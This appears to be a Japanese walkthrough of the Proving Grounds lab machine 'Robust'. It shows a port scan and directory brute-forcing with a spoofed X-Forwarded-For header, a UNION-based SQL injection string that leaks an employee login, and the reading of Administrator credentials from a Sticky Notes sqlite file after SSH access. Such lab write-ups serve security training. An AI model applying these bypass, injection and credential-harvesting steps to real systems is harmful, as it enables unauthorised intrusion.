😎
Proving Grounds Practice Robust
列挙
nmap
┌──(kali㉿kali)-[~/oscp/pg/robust]
└─$ sudo nmap -sC -sV -A -O 192.168.172.200 -p- --open -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 21:76:63:1c:3b:10:a6:a7:73:d6:e7:dd:1e:a2:b6:83 (RSA)
| 256 62:a8:39:f6:ab:92:cd:26:03:bf:1e:28:25:4e:8e:7a (ECDSA)
|_ 256 02:39:7c:e2:af:6a:44:98:ec:9a:28:98:a0:8b:fe:c4 (ED25519)
80/tcp open http PHP cli server 5.5 or later (PHP 7.3.33)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was login.php
7680/tcp open pando-pub?
TCP/80

アクセスするとIPによる制限のメッセージが表示されます。
feroxbuster
┌──(kali㉿kali)-[~/oscp/pg/robust]
└─$ feroxbuster -u http://192.168.178.200 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "X-Forwarded-For: 10.10.10.1" -x php,txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.178.200
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🤯 Header │ X-Forwarded-For: 10.10.10.1
🔎 Extract Links │ true
💲 Extensions │ [php, txt]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 57w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 58l 142w 3030c http://192.168.178.200/home.php => login.php
200 GET 20l 77w 7852c http://192.168.178.200/emp.png
200 GET 102l 197w 1770c http://192.168.178.200/login.php
X-Forwarded-Forを指定して実行すると/home.phpが確認できます。
初期アクセス

/home.phpへのアクセスについて、Burpでレスポンスを見ると、Locationでlogin.phpへリダイレクトされています。

BurpのProxy-Proxy settingsより、すべてのリクエストへのXFFの付与、レスポンスのLocationの削除を行います。


上記設定後にアクセスすると以下のようなページが表示されます。

上記の入力フォームに以下のクエリを入れるとjeffのアカウントを取得できます。
' UNION select * from employees'
jeffのアカウントでSSHアクセスができます。

特権昇格
jeffのフォルダ配下には.sqliteのファイルがあります。winPEASでは見つかりませんでした。
plum.sqliteをtypeで表示するとAdministratorの資格情報を取得できます。
cmd
jeff@ROBUST C:\Users\Jeff>dir /s /b *.sqlite
C:\Users\Jeff\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
C:\Users\Jeff\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite
jeff@ROBUST C:\Users\Jeff>type C:\Users\Jeff\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
SQLite format 3►☻☻@ ☻☼♦☺
╛♂♀♀┌
<
┘
↨↨↨☺à♥tableMediaMedia♫CREATE TABLE "Media" (
"LocalFileRelativePath" varchar ,
"RemoteId" varchar ,
"MimeType" varchar ,
"AltText" varchar ,
"IsOrphaned" integer ,
"Height" integer ,
"Width" integer ,
"Type" varchar ,

AdministratorでSSHアクセスできます。
Discussion